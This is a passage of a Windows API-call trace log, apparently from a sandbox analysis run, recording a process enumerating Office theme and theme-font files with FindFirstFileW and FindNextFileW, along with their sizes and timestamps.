nFileSizeHigh=0x0, nFileSizeLow=0xbf81, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.eftx", cAlternateFileName="APOTHE~1.EFT")) returned 1 [0284.882] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39bc200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x39bc200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x581a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.eftx", cAlternateFileName="ASPECT~1.EFT")) returned 1 [0284.882] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ca1300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x42ca1300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x696d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.eftx", cAlternateFileName="AUSTIN~1.EFT")) returned 1 [0284.882] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68efb300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68efb300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96e87, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.eftx", cAlternateFileName="BLACKT~1.EFT")) returned 1 [0284.883] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72f4900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72f4900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa7a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.eftx", cAlternateFileName="CIVIC~1.EFT")) returned 1 [0284.883] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x465d9a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x465d9a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8032, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.eftx", cAlternateFileName="CLARIT~1.EFT")) returned 1 [0284.883] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6db46700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6db46700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x825e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.eftx", cAlternateFileName="COMPOS~1.EFT")) returned 1 [0284.883] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.eftx", cAlternateFileName="CONCOU~1.EFT")) returned 1 [0284.883] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72791b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a4db00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x72791b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e0721, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.eftx", cAlternateFileName="COUTUR~1.EFT")) returned 1 [0284.884] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760ca200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x760ca200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4caa1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.eftx", cAlternateFileName="ELEMEN~1.EFT")) returned 1 [0284.884] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd252a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd252a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6023, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.eftx", cAlternateFileName="EQUITY~1.EFT")) returned 1 [0284.884] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49f12100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x49f12100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3fde, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.eftx", cAlternateFileName="ESSENT~1.EFT")) returned 1 [0284.884] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79a02900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x79a02900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x52a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.eftx", cAlternateFileName="EXECUT~1.EFT")) returned 1 [0284.885] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x144c3800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x144c3800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6818, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.eftx", cAlternateFileName="FLOW~1.EFT")) returned 1 [0284.885] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10b8b100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x10b8b100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4732, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.eftx", cAlternateFileName="FOUNDR~1.EFT")) returned 1 [0284.885] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x48cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.eftx", cAlternateFileName="GRID~1.EFT")) returned 1 [0284.885] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x559e1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.eftx", cAlternateFileName="HARDCO~1.EFT")) returned 1 [0284.885] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="HORIZO~1.EFT")) returned 1 [0284.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="MEDIAN~1.EFT")) returned 1 [0284.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="METRO~1.EFT")) returned 1 [0284.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="MODULE~1.EFT")) returned 1 [0284.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="NEWSPR~1.EFT")) returned 1 [0284.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21692700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x21692700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8059, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.eftx", cAlternateFileName="OPULEN~1.EFT")) returned 1 [0284.886] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24fcae00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x24fcae00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa8b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.eftx", cAlternateFileName="ORIEL~1.EFT")) returned 1 [0284.887] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28903500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28903500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9fed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.eftx", cAlternateFileName="ORIGIN~1.EFT")) returned 1 [0284.887] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bf0a20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x37d8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.eftx", cAlternateFileName="PAPER~1.EFT")) returned 1 [0284.887] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x537a8900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x537a8900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x53af, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.eftx", cAlternateFileName="PERSPE~1.EFT")) returned 1 [0284.887] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x583f3d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x583f3d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xbef29, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.eftx", cAlternateFileName="PUSHPI~1.EFT")) returned 1 [0284.888] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x845abe00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x845abe00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c8d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.eftx", cAlternateFileName="SLIPST~1.EFT")) returned 1 [0284.888] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e861600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2e861600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x6c85, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.eftx", cAlternateFileName="SOLSTI~1.EFT")) returned 1 [0284.888] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32199d00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x32199d00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.eftx", cAlternateFileName="TECHNI~1.EFT")) returned 1 [0284.888] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5bd2c400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5bd2c400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa14f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.eftx", cAlternateFileName="THATCH~1.EFT")) returned 1 [0284.888] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="TREK~1.EFT")) returned 1 [0284.889] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="URBAN~1.EFT")) returned 1 [0284.889] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="VERVE~1.EFT")) returned 1 [0284.889] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 1 [0284.889] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1b778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.eftx", cAlternateFileName="WAVEFO~1.EFT")) returned 0 [0284.889] FindClose (in: hFindFile=0x65bdc8 | out: hFindFile=0x65bdc8) returned 1 [0284.892] GetProcessHeap () returned 0x560000 [0284.893] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2beeeb8 | out: hHeap=0x560000) returned 1 [0284.893] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2fff148 | out: lpFindFileData=0x2fff148*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1 [0284.893] GetProcessHeap () returned 0x560000 [0284.893] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2beeeb8 [0284.893] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\*", lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bdc8 [0285.498] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0286.157] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1 [0286.157] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1 [0286.157] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeee, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1 [0286.158] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe1f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1 [0286.158] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x61830490, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1 [0286.158] FindNextFileW (in: hFindFile=0x65bdc8, lpFindFileData=0x2ffeec0 | out: lpFindFileData=0x2ffeec0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, 